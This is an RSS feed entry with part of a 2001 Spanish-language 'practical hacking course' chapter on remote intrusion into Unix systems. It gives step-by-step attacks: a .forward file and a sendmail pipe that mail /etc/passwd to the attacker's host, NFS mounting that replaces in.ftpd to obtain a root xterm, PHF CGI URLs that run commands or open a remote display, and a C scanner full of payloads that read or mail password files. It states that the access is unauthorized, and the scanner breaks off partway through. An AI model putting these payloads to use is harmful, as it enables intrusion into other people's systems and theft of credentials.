<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A.H.E. - HackIndex (es.comp.hackers) &#187; Acceso a las cosas remotas</title>
	<atom:link href="http://www.hackindex.com/index.php/category/hackindex-el-proyecto/acceso-a-las-cosas-remotas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hackindex.com</link>
	<description>Articulos y Noticias sobre Seguridad Informatica y Redes</description>
	<lastBuildDate>Sat, 29 May 2010 21:10:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1-alpha</generator>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) III</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-iii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:14:50 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[ataques dos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[defectos de configuracion]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[fallos de seguridad]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[ingenieria social]]></category>
		<category><![CDATA[ip spoofing]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mala configuracion]]></category>
		<category><![CDATA[tecnicas de acceso remoto]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[webs hostiles]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=236</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso prÃ¡ctico de hacking III Autor: Lecter Tema: Acceso a las cosas remotas La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking III<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8212;3a entrega</p>
<p>Estimados estudiantes del  CPH, en esta entrega nos  centraremos ya en<br />
las  artima=F1as para la  visitacion del  objetivo que  antes habiamos<br />
escudrinyado  (a partir  de ahora  usare la  ny para  denotar  la enye<br />
espanyola ya  que puede verse mal  en ciertos casos).  Tengo ahora que<br />
hacer un poco de &#8220;disclaiming&#8221;  (lavarme las manos) acerca del uso que<br />
pudiera darse a lo que os  contare en este capitulo y el siguiente. La<br />
visita que vamos a hacer no es  con permiso del due=F1o y por lo tanto<br />
se incurriria en un &#8220;allanamiento  de morada informatica&#8221; si se emplea<br />
por &#8220;el lado  oscuro de la fuerza&#8221;=2E Esta claro  que hemos de dominar<br />
los  sistemas y  aprovechar  sus fallos  de  seguridad para  comprobar<br />
nuestros conocimientos,  pero podemos hacerlo  de manera sana:  o bien<br />
autohacking  o bien  establecer un  acuerdo con  el  administrador del<br />
sistema  que &#8220;hackeemos&#8221;  para  comprobar su  seguridad. De  cualquier<br />
manera el conocimiento es una flor con  la que la abeja hace la miel y<br />
la ara=F1a su veneno.</p>
<p>Vamos  a  repasar  algunas  de  las tecnicas  mas  adecuadas  para  el<br />
principiante y  luego vosotros mediante  el estudio y la  practica las<br />
sobrepasareis e  incluso ideareis algunas nuevas. Tened  en cuenta que<br />
eso es  lo que diferencia a  un lamer de unhacker:  el lamer desbarata<br />
sistemas  con las  herramientas  que el  hacker  inventa. Alguna  vez,<br />
podreis  penetrar un  sistema utilizando  un exploit,  por  ejemplo, y<br />
conseguir una shell de root&#8230;y quizas os sentireis contentos de haber<br />
alcanzado  tal  privilegio,&#8230;  pero  =BFHabeis  escrito  vosotros  el<br />
exploit?&#8230;Luego   quizas  instalareis   un  sniffer   y   una  puerta<br />
trasera&#8230;=BFpero  habeis hecho vosotros  esas herramientas?  Lo ideal<br />
seria  que programarais  algunas de  las herramientas  que utilizarais<br />
luego  en  vuestras incursiones,  y  si no  es  asi,  leed e  intentad<br />
comprender el codigo que utilizais.</p>
<p>Pero bueno, vamos al grano.</p>
<p>Un  saludo  para  los que  estan  siguiendo  el  CPH aunque  en  pleno<br />
verano. Saludos  a los  que vuelven, como  mi amigo  NBK que ya  lo he<br />
visto por  las news, y  a tantos otros.  Para los que se  han marchado<br />
como Crino,  Avalanche, etc&#8230;si  no encuentran algun  capitulo porque<br />
haya  expirado, etc,  al  final  voy a  intentar  ensamblar todos  los<br />
capitulos   en  un   solo  documento   comprimido  y   lo   dejare  en<br />
es.binarios.misc, para no consumir ancho de banda.</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 3.INTRODUCCION EN EL SISTEMA</p>
<p>En este capitulo consideraremos tecnicas de acceso remoto (a traves de<br />
la red)  y en el siguiente  estudiaremos el acceso  local, que tambien<br />
recibe el nombre  de &#8220;ataque con escalada de  privilegios&#8221;. Existe una<br />
progresion cuando  el atacante se  introduce de manera remota  y luego<br />
consigue el acceso a la shell local. Habra que alcanzar privilegios de<br />
root y mantenerlos, asi como  actuar sobre el sistema para adecuarlo a<br />
futuras visitas o a otros propositos.</p>
<p>Existen varios metodos fundamentales para introducirnos remotamente en<br />
un sistema unix:</p>
<p>(1) Fallos  de  seguridad  de  aplicaciones basadas  en  el  protocolo<br />
TCP/IP.</p>
<p>(2) Defectos de  configuracion en los servicios  de red NFS,  NIS y en<br />
formularios web.</p>
<p>(3) Mala configuracion en los  archivos hosts.equiv y .rhosts y empleo<br />
de los llamados &#8220;comandos *r de unix&#8221;.</p>
<p>(4) Exploits para ciertos procesos que  se basan en bugs de los mismos<br />
o  en ataques para  desbordar la  pila del  proceso y  ejecutar codigo<br />
arbitrario  que permiten  conseguir  una shell,  una  rootshell si  el<br />
proceso corresponde a un programa que tiene el bit setuid activado.</p>
<p>(5) Tecnicas oscuras: Ataques  DoS, IP Spoofing, hijacking, ingenieria<br />
social, web  hostiles&#8230;Estas tecnicas no  deberian usarse mas  que en<br />
situaciones  muy  criticas.  He  pensado dedicar  un  capitulo  final,<br />
despues del  de borrar las huellas para  incluir estos procedimientos,<br />
quiza con el titulo de &#8220;la mitad oscura&#8221;.</p>
<p>Podemos emplearlas  de dos modos  diferentes para introducirnos  en el<br />
sistema: hacerlo directamente consiguiendo una cuenta en el objetivo o<br />
indirectamente haciendonos con el fichero /etc/passwd para crackearlo.</p>
<p>3.1. Fallos de seguridad en aplicaciones TCP/IP</p>
<p>3.1.1 TFTP (Trivial File Transfer Protocol)</p>
<p>Se trata  de una  transferencia de archivos  por udp. Se  utiliza para<br />
arrancar estaciones de trabajo o routers y esta basado como ya dije en<br />
udp escuchando  por el  puerto 69  ;-P. Si el  servidor TFTP  esta mal<br />
configurado, podemos conseguir el  fichero /etc/passwd. En las ultimas<br />
versiones quedan  configurados de manera  predeterminada para prohibir<br />
el  acceso a  cualquier  directorio excepto  /tftpboot.  Pero en  este<br />
directorio  existe informacion  comprometedora sobre  los  archivos de<br />
configuracion      de     los      routers      (generalmente     como<br />
&lt;nombrehostdelrouter&gt;.cfg)  y  los   intrusos  pueden  acceder  a  las<br />
contrase=F1as  de los  routers y  a las  cadenas SNMP  (Simple Network<br />
Management Protocol), con lo cual comprometeremos redes completas.</p>
<p>3.1.2 FTP</p>
<p>Muchos  servidores  mal configurados  permiten  tener acceso  anonimo,<br />
permitiendo  iniciar  una  sesion  sin necesidad  de  autenticacion  y<br />
pudiendo   acceder   a  toda   la   estructura   de  directorios   del<br />
sistema&#8230;Pero esto  son habas  contadas y muy  peregrino debe  ser el<br />
root para meter la pata de  ese modo.  Algunas veces me han hablado de<br />
servidores  FTP  que disponian  de  directorios  donde podia  escribir<br />
cualquiera,  con lo  cual  los atacantes  podrian  colocar un  fichero<br />
.rhosts (como  ya veremos) en el  directorio /home de  algun usuario y<br />
luego hacer un rlogin  sin autenticacion. Habia una estratagema basada<br />
en esto que permitia conseguir  el fichero /etc/passwd de modo curioso<br />
y sin magno artificio: Un  archivo .forward en el directorio /home/ de<br />
un usuario  dirige el correo a  una cuenta diferente  o ejecuta alguna<br />
instruccion  cuando  llega correo.  De  este  modo,  si escribimos  un<br />
fichero (en nuestra maquina atacante darkstar.us.es) lecter_forward de<br />
este modo:</p>
<p>$&gt;echo &#8220;/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221; &gt; lecter_forward</p>
<p>Luego nos conectamos por ftp al objetivo</p>
<p>$&gt;ftp objetivo.net</p>
<p>Si fuera posible escribir en /home/ftp/ podriamos hacer</p>
<p>ftp&gt;put lecter_forward .forward<br />
ftp&gt;quit</p>
<p>y luego mandamos un correo al &#8220;usuario ftp&#8221;</p>
<p>$&gt;echo hello chump | mail <a href="mailto:ftp@objetivo.net">ftp@objetivo.net</a></p>
<p>Cuando llegue  el correo se  ejecutara la instruccion contenida  en el<br />
fichero  .forward  y recibiremos  por  correo  el fichero  /etc/passwd<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8230;Pero   a  mi   nunca  me   ha  funcionado.    Aparte   de  estas<br />
vulnerabilidades existen otras debidas a condiciones de desbordamiento<br />
del buffer  en versiones anteriores de  wu-ftp 2.4.2, pero  esto ya lo<br />
veremos en el epigrafe de los exploits.</p>
<p>3.1.3 SMTP</p>
<p>Aunque hay  otros mas seguros como  smail y qmail, sendmail  es el MTA<br />
(Mail Transfer  Agent) mas usado en  el mundo unix. Si  sendmail no se<br />
configura  adecuadamente,  puede  presentar  problemas  de  seguridad,<br />
ademas  de  los inherentes  a  fallos  y  vulnerabilidades del  propio<br />
programa. Una frase corriente hasta  hace poco tiempo (la seguridad de<br />
sendmail ha mejorado  bastante en los ultimos anyos)  era &#8220;Wellcome to<br />
the sendmail bug of the week!&#8221;.</p>
<p>Un ataque  con solera  (para la  version sendmail 4.1)  se baso  en la<br />
vulnerabilidad de la &#8220;sendmail  pipe&#8221;, que permitia al intrusoejecutar<br />
instrucciones mediante  sendmail con privilegios de  bin. En versiones<br />
anteriores a  sendmail 5.57 podiamos enviarnos  el fichero /etc/passwd<br />
simplemente haciendo:</p>
<p>$&gt;telnet objetivo.net 25<br />
=2E..<br />
helo<br />
=2E..<br />
mail from: &#8220;|/bin/mail <a href="mailto:lecter@darkstar.us.es">lecter@darkstar.us.es</a> &lt; /etc/passwd&#8221;<br />
rcpt to: johnsilver<br />
data<br />
=2E<br />
quit</p>
<p>Pero para  aprovechar los fallos de  sendmail es mejor  recurrir a los<br />
exploits como se vera en el correspondiente epigrafe.</p>
<p>3.2 Defectos de configuracion de servicios de red</p>
<p>3.2.1 NFS</p>
<p>Ya sabemos que  si el servicio nfs esta  mal configurado podemos hacer<br />
algunas  cosillas <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).  Si hacemos  un rpcinfo  -p objetivo.net  y nos<br />
encontramos  con   algunas  lineas  en  cuyos   puertos  escuchan  los<br />
servidores mountd y nfs, podemos mediante un showmount -e objetivo.net<br />
los directorios exportados.</p>
<p>En  caso de  que no  tuvieramos  un objetivo  concreto podemos  buscar<br />
maquinas con ficheros exportables mediante el script perl getdomain.pl<br />
de Invisible Evil, que muestro a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;/begin getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
#!/usr/bin/perl</p>
<p># GetDomain By Nfin8 / Invisible Evil<br />
# Questions /msg i-e  or  /msg i^e<br />
#<br />
# Retrieve command line arguments.<br />
my($inputfile, $domain) =3D @ARGV;<br />
usage() if (!defined($inputfile) || !defined($domain));</p>
<p># Open and preprocess the input file.<br />
open(INFILE, &#8220;&lt;$inputfile&#8221;) or die(&#8220;Cannot open file $inputfile for reading!\n&#8221;);<br />
my(@lines) =3D &lt;INFILE&gt;;</p>
<p># Initialize main data structure.<br />
my(%hash) =3D {};<br />
my($key) =3D &#8220;&#8221;;</p>
<p>foreach (@lines) {<br />
$key =3D (split(/\ /))[0];<br />
chop($key);<br />
next if ((($key =3D~ tr/.//) &lt; 1) ||<br />
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||<br />
($key =3D~ m/root-server/i));<br />
$hash{$key}++;<br />
}</p>
<p># Close input file and output data structure to STDOUT.<br />
close(INFILE);</p>
<p>foreach (sort(keys(%hash))) {<br />
print &#8220;$_\n&#8221;;<br />
}</p>
<p>sub usage {<br />
print(&#8220;\n\ngetdomain:\n&#8221;);<br />
print(&#8220;Usage: getdomain [inputfile] [search]\n\n&#8221;);<br />
print(&#8220;Where [search] is one of \&#8217;com\&#8217;, \&#8217;edu\&#8217;, \&#8217;gov\&#8217;, \&#8217;mil\&#8217; or \&#8217;net\&#8217;.\n\n&#8221;);<br />
exit(0);<br />
}<br />
ï¿½<br />
0;<br />
ï¿½<br />
&#8212;&#8212;&#8212;-/end of getdomain.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Para utilizarlo habeis de disponer de listas de maquinas que se pueden<br />
obtener facilmente por ftp de rs.internic.net con las extensiones:</p>
<p>com.zone.gz<br />
edu.zone.gz<br />
gov.zone.gz<br />
mil.zone.gz<br />
net.zone.gz<br />
org.zone.gz</p>
<p>Despues de descomprimirlas con gunzip ejecutamos el script asi:</p>
<p>$&gt;perl getdomain.pl com.zone com &gt; com.all</p>
<p>y lo mismo con las otras zonas&#8230;</p>
<p>Luego  hay  que  usar  otro  script llamado  cmount.pl  para  ver  los<br />
directorios exportados. Aqui lo teneis</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cmount.pl&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
#/usr/bin/perl -w<br />
#<br />
# Check NFS exports of hosts listed in file.<br />
# (Hosts are listed, once per line with no additional whitespaces.)<br />
#<br />
# <a href="mailto:ii@dormroom.pyro.net">ii@dormroom.pyro.net</a> &#8211; 2/27/97.</p>
<p># Assign null list to @URLs which will be added to later.<br />
my(@result) =3D ();<br />
my(@domains) =3D ();<br />
my($program) =3D &#8220;showmount -e &#8220;;</p>
<p># Pull off filename from commandline. If it isn&#8217;t defined, then assign default.<br />
my($DomainFilename) =3D shift;<br />
$DomainFilename =3D &#8220;domains&#8221; if !defined($DomainFilename);</p>
<p># Do checking on input.<br />
die(&#8220;mountDomains: $DomainFilename is a directory.\n&#8221;) if (-d<br />
$DomainFilename);<br />
ï¿½<br />
# Open $DomainFilename.<br />
open(DOMAINFILE, $DomainFilename) or<br />
die(&#8220;mountDomains: Cannot open $DomainFilename for input.\n&#8221;);<br />
ï¿½<br />
while (&lt;DOMAINFILE&gt;) {<br />
chomp($_);<br />
print &#8220;Now checking: $_&#8221;;</p>
<p># Note difference in program output capture from &#8220;geturl.pl&#8221;.ï¿½<br />
open (EXECFILE, &#8220;$program $_ |&#8221;);<br />
@execResult =3D &lt;EXECFILE&gt;;<br />
next if (!defined($execResult[0]));<br />
if ($execResult[0] =3D~ /^Export/) {<br />
print &#8221; &#8211; Export list saved.&#8221;;<br />
open (OUTFILE, &#8220;&gt;$_.export&#8221;);<br />
foreach (@execResult) {<br />
print OUTFILE;<br />
}<br />
close (OUTFILE);<br />
}<br />
close(EXECFILE);<br />
print &#8220;\n&#8221;;<br />
}<br />
ï¿½<br />
# We are done. Close all files and end the program.<br />
close (DOMAINFILE);</p>
<p>0;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; end of cmount.pl<br />
Bueno, imaginemos que en el caso de nuestro objetivo, nos sale.</p>
<p>#&gt;showmount -e objetivo.net<br />
/    (everyone)<br />
/usr (everyone)</p>
<p>=A1Magn=EDfico! (Pero  no caera  esa breva) porque  podriamos comenzar<br />
mountando</p>
<p>#&gt;mount -nt nfs objetivo.net:/ /mnt</p>
<p>Pero  existe una  excelente herramienta  llamada nfsshell  escrita por<br />
Leendert van Door que podreis encontrar en</p>
<p><a href="ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz">ftp://ftp.cs.vu.nl/pub/leendert/nfsshell.tar.gz</a></p>
<p>que nos proporciona  un cliente robusto llamado nfs  que funciona como<br />
cliente  ftp  y  permite  manipular facilmente  cuakquier  sistema  de<br />
archivos remotos. Una vez instalado, haced en un xterm</p>
<p>#&gt;nfs</p>
<p>y  aparecera  el  prompt  nfs&gt;.   Si  haceis  help  vereis  todas  las<br />
posibilidades=2E Bueno, al grano:</p>
<p>nfs&gt;host objetivo.net (indica el host que queremos montar)</p>
<p>Luego miramos los archivos exportados</p>
<p>nfs&gt;export<br />
/     everyone<br />
/usr  everyone</p>
<p>Ahora tenemos que montar / para acceder al sistema de archivos con</p>
<p>nfs&gt; mount /</p>
<p>Podemos ver el status de la conexion y el UID usado cuando se monto el<br />
archivo con</p>
<p>nfs&gt;status<br />
=2E..</p>
<p>Como  ya tenemos  el  sistema  de archivos  montado  posemos mirar  el<br />
contenido de /etc/passwd:</p>
<p>nfs&gt;cd /etc</p>
<p>nfs&gt; cat passwd<br />
=2E..</p>
<p>El listado de /etc/passwd nos da los nombres de los usuarios y sus ID,<br />
pero  generalmente estaran &#8220;sombreados&#8221;  (shadowed passwords)  con una<br />
&#8220;x&#8221;  (generalmente)   en  el  segundo  campo  de   cada  registro.  No<br />
importa. Busquemos un  usuario daemon o bin. Si  podemos acceder a los<br />
binarios, =A1asunto zanjado! Suponfamos que existe el registro:</p>
<p>bin:x:2:2::/usr/bin</p>
<p>Vamos a montar /usr y cambiar nuestro UID y GID al de bin:</p>
<p>nfs&gt;mount /usr</p>
<p>nfs&gt;uid 2</p>
<p>nfs&gt;gid 2</p>
<p>(y lo comprobamos con nfs&gt;status)</p>
<p>A  partir de  ahora,  tenemos los  privilegios  de bin  en el  sistema<br />
remoto. Ahora podemos  crear un canal trasero con  el siguiente script<br />
en  nuestro sistema (darkstar.us.es)  y llamarlo  in.ftpd en  el mismo<br />
lugar donde  activamos el cliente nfs  (abrimos un xterm  y hacemos vi<br />
in.ftpd  en el  mismo directorio  donde  lanzamos el  cliente nfs.  El<br />
contenido del script sera:</p>
<p>#!/bin/sh<br />
/usr/&#8212;ruta hasta&#8211;/bin/xterm -display darkstar.us.es:0.0 &amp;</p>
<p>luego lo salvamos y le damos permisos de ejecucion.</p>
<p>Despues volvemos al otro xterm y hacemos</p>
<p>nfs&gt;cd /sbin</p>
<p>nfs&gt;put in.ftp</p>
<p>De   esta  manera   copiamos   in.ftpd  a   /sbin,  reescribiendo   el<br />
original.  Entonces  desde la  otra  xterm  permitimos a  objetivo.net<br />
conectarse a nuestro servidor X:</p>
<p>#&gt;xhost +objetivo.net<br />
=2E..</p>
<p>#&gt;ftp objetivo.net</p>
<p>Lo  que  sucedera  es  que  aparecera  en  nuestro  sistema  un  xterm<br />
perteneciente  al  administrador de  objetivo.net,  pues  al llamar  a<br />
in.ftpd desde inetd, este  ejecutara nuestro script con privilegios de<br />
root.<br />
3.2.2 NIS</p>
<p>Ya hemos hablado del NIS,  anta=F1o conocido como Yellow Pages (de ahi<br />
el  yp&#8230;).  Cuando  hacemos  rpcinfo  -p objetivo.net  y  aparece  un<br />
servidor ypserv ya estamos seguros  de que el NIS esta funcionando. Si<br />
mediante algun artificio tuvieramos una  cuenta en una maquina con NIS<br />
tendriamos  la posibilidad  de  acceder al  archivo /etc/passwd.  Para<br />
saber si en una maquina  donde tenemos cuenta funciona NIS, hacemos ps<br />
ax y si  aparece el conocido ypserv =A1ya esta!  En tal caso podriamos<br />
usar el comando ypcat:</p>
<p>$&gt;ypcat /etc/passwd&gt; ~/passwd</p>
<p>para copiarnos  el /etc/passwd  en nuestro home.  En caso de  no tener<br />
privilegios  para  ejecutar ypcat  o  si no  esta,  se  puede usar  el<br />
programa pwget (este  lo veremos en el capitulo  4 destinado al acceso<br />
local). Ademas existe  un programa llamado ypx para  extraer los mapas<br />
de un servidor NIS y lo podeis encontrar en:</p>
<p><a href="http://morehouse.org/hin/root/ypx.tgz">http://morehouse.org/hin/root/ypx.tgz</a></p>
<p>Su uso es muy sencillo:</p>
<p>ypx -m passwd nombre_dominio_NIS<br />
3.2.3 Inseguridades en scripts CGI</p>
<p>La  interfaz CGI  (Common Gateway  Interface) permite  la comunicacion<br />
entre programas cliente y un servidor que emplea el protocolo http. El<br />
protocolo de comunicaciones  usado por el script CGI  y el servidor es<br />
el TCP/IP usando por defecto  el puerto 80. Las vulnerabilidades no se<br />
deben a fallos  de CGI, sino a errores en  las especificaciones HTTP y<br />
programas del  sistema. La  parte fundamental de  un script CGI  es un<br />
documento  HTML llamado  FORM (Formulario).  Los scripts  CGI deberian<br />
realizar  el  filtrado  de   los  contenidos  del  campo  &lt;INPUT&gt;  del<br />
formulario  (entradas  de  usuarios),  pero  en muchos  casos,  no  lo<br />
hacen&#8230;con lo cual es posible ganar  un acceso ;-D.  PHF es un script<br />
CGI  estandar en  las primeras  versiones del  servidor Apache  y NCSA<br />
HTTPD. Aunque  parezca raro, todavia  hay sistemas que  presentan esta<br />
vulnerabilidad, por eso la cuento.  El programa de marras no procesaba<br />
ni  validaba adecuadamente  la entrada.  PHF aceptaba  el  caracter de<br />
newline (%0a) y  ejecutaba cualquier mandato posterior con  la UID del<br />
usuario que estuviera ejecutando el servidor (generalmente nobody). El<br />
codigo utilizado  era el siguiente,  que puede lanzarse  desde nuestro<br />
navegador (lynx para los castizos; Netscape para los modelnos):</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd</a></p>
<p>De este modo (%20) es un espacio) podria tenerse acceso a /etc/passwd;<br />
pero si estan sombreados habra que pensar en otra cosita:</p>
<p><a href="http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0">http://www.objetivo.com/cgi-bin/phf?Qalias=3Dx%0a/usr/X11R6/bin/xterm%20-ut%20-display%20darkstar_IP:0.0</a></p>
<p>El  servidoe web remoto  ejecutara un  xterm y  lo montara  en nuestro<br />
servidor X (darkstar.us.es) con un ID de ventana 0 y un ID de pantalla<br />
0. Como esta  activada la  opcion -ut, el  sistema no  registrara esta<br />
actividad.  Hay numerosos scripts  para buscar sistema con scripts CGI<br />
y PHF como vereis a continuacion:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-/begin cgi scanner&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>/* This source is absolutely free to use and modify at you own risk, please<br />
do not change some chars and say that this program is yours or i&#8217;ll die the<br />
next day&#8230; <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Pay attention, this file is for research purpose only, do not<br />
use it into any hacking way. Is possible to be logged while running the<br />
program, so PAY ATTENTION!.<br />
Tested on Linux RedHat 5.0 and Win95 compiled with Cygnus Gnu win32.</p>
<p>Many Thanks goes to s0ftpr0ject and Orda of the Badlands groups!<br />
I want also give a big thanks to:</p>
<p>Goku: my linux guru<br />
SMaster: my prezident<br />
MaNdraKe: and his future girlfriends<br />
Pr3dator: for his help on linux (go slower on cars!:pPp)<br />
PhoenYx: the best italian hacker<br />
Berk: a cool friend and a wannabe hacker<br />
xOANON: the best cracker all around<br />
Golem: for his bot, what about setting it on #softpj? <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Spaceone: a good friend<br />
TanK_GirL: a future hacker! (i hope)<br />
RootShell: for many source and ideas</p>
<p>I want also give a big fuck to:</p>
<p>Telecom Italia: u must die!<br />
WarLords: Good ircwarriors but stupid people<br />
Alexb: pay attention at your fuckin&#8217; shells<br />
Lamers: try to be more newbies!</p>
<p>by |scacco|</p>
<p>Add-on By Dark Schneider</p>
<p>*/</p>
<p>#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;termios.h&gt;                 ï¿½<br />
#include &lt;stdio.h&gt;<br />
#include &lt;string.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/syslog.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/times.h&gt;           ï¿½<br />
#include &lt;sys/time.h&gt;                         ï¿½<br />
#include &lt;sys/socket.h&gt;<br />
#include &lt;netinet/in.h&gt;<br />
#include &lt;sys/signal.h&gt;<br />
#include &lt;arpa/inet.h&gt;<br />
#include &lt;netdb.h&gt;<br />
#define MAXSTR 12</p>
<p>main (int argc, char *argv[])<br />
{<br />
struct sockaddr_in sin;<br />
/* int outsocket, serv_len, len,c,outfd; */<br />
/* struct hostent *nametocheck; */<br />
/* struct in_addr outgoing; */<br />
struct hostent *hp;<br />
char host[100], buffer[1024], hosta[1024],FileBuf[8097];<br />
int sock, i=3D0, X;<br />
char  *stringhe[MAXSTR];<br />
for(i=3D0;i&lt;MAXSTR;i++) {<br />
stringhe[i]=3D(char *) malloc(sizeof(char)*100);<br />
}<br />
ï¿½<br />
/* Classic PHF bug&#8230; It still Works! */<br />
ï¿½<br />
stringhe[0]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/bin/cat%20/etc/passwd\n&#8221;;<br />
ï¿½<br />
/* test-cgi bug, possible to view documents location */<br />
ï¿½<br />
stringhe[1]=3D&#8221;GET /cgi-bin/test-cgi?*\n&#8221;;<br />
ï¿½<br />
/* htmlscript bug, a good language that can us have passwd <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  */<br />
ï¿½<br />
stringhe[2]=3D&#8221;GET /cgi-bin/htmlscript?../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
/* view-source bug, some httd use this&#8230; */<br />
ï¿½<br />
stringhe[3]=3D&#8221;GET /cgi-bin/view-source?../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
/* Wrap allow you to have a directory listing on IRIX 6.2 systems */<br />
ï¿½<br />
stringhe[4]=3D&#8221;GET /cgi-bin/wrap?/../../../../../etc\n&#8221;;<br />
ï¿½<br />
/* Campas allow you to get the passwd on NCSA server 1.2 */<br />
ï¿½<br />
stringhe[5]=3D&#8221;GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\n&#8221;;<br />
ï¿½<br />
/* With pfdisplay &amp; webdist is possible to get the passwd on IRIX 6.2 systems */<br />
ï¿½<br />
stringhe[6]=3D&#8221;GET /cgi-bin/pfdisplay.cgi?/../../../../etc/passwd\n&#8221;;<br />
ï¿½<br />
stringhe[7]=3D&#8221;GET /cgi-bin/webdist.cgi?distloc=3D;cat%20/etc/passwd\n&#8221;;</p>
<p>/* With aglimpse is possible to mail the password file anywhere <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */<br />
ï¿½<br />
stringhe[8]=3D&#8221;GET /cgi-bin/aglimpse/80|IFS=3D5;CMD=3D5mail5dashie\@cyberdude.com\&lt;/etc/passwd;eval$CMD;echo\n&#8221;;<br />
ï¿½<br />
/* An interesting variant for phf*/</p>
<p>stringhe[9]=3D&#8221;GET /cgi-bin/phf?Qalias=3Dx%0a/usr/bin/ypcat%20passwd\n&#8221;;</p>
<p>stringhe[10]=3D&#8221;GET /cgi-bin/php.cgi?/etc/passwd\n&#8221;;</p>
<p>/* a new test-cgi but the bug is the same <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  */</p>
<p>stringhe[11]=3D&#8221;GET /cgi-bin/nph-test-cgi?*\n&#8221;;<br />
ï¿½<br />
